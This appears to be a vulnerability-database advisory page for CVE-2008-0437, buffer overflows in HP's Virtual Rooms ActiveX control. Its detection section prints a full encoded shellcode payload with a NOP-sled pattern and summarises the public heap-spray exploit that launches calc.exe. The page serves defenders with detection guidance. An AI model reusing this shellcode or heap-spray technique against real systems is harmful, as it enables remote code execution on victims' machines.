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CVE-2008-0437
published 2008-01-23

CVE-2008-0437: Multiple buffer overflows in the WebHPVCInstall.HPVirtualRooms14 ActiveX control in HPVirtualRooms14.dll 1.0.0.100, as used in the installation process for HP…

PriorityP355critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
58.08%
99.0th percentile
Multiple buffer overflows in the WebHPVCInstall.HPVirtualRooms14 ActiveX control in HPVirtualRooms14.dll 1.0.0.100, as used in the installation process for HP Virtual Rooms, allow remote attackers to execute arbitrary code via a long (1) AuthenticationURL, (2) PortalAPIURL, or (3) cabroot property value. NOTE: some of these details are obtained from third party information.

Affected

1 ranges
VendorProductVersion rangeFixed in
hpvirtual_rooms

Detection & IOCsextracted from sources · hover to see the quote

filenameHPVirtualRooms14.dll
bytes
%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370
bytes
%u9090%u9090
  • The public exploit uses an Alpha2-encoded win32_exec shellcode (EXITFUNC=seh, CMD=c:\windows\system32\calc.exe) with NOP sled (%u9090%u9090) delivered via heap spray in JavaScript; detect large unescape() heap spray patterns in browser script contexts.
  • The exploit targets Internet Explorer's ActiveX instantiation; alert on creation of 'WebHPVCInstall.HPVirtualRooms14' objects from web content, especially when followed by property assignments with unusually long strings.
  • ·Version 1.0.0.100 of HPVirtualRooms14.dll is the confirmed vulnerable version; other versions are not confirmed affected by the source.
  • ·Some vulnerability details are derived from third-party information and may not be fully authoritative.
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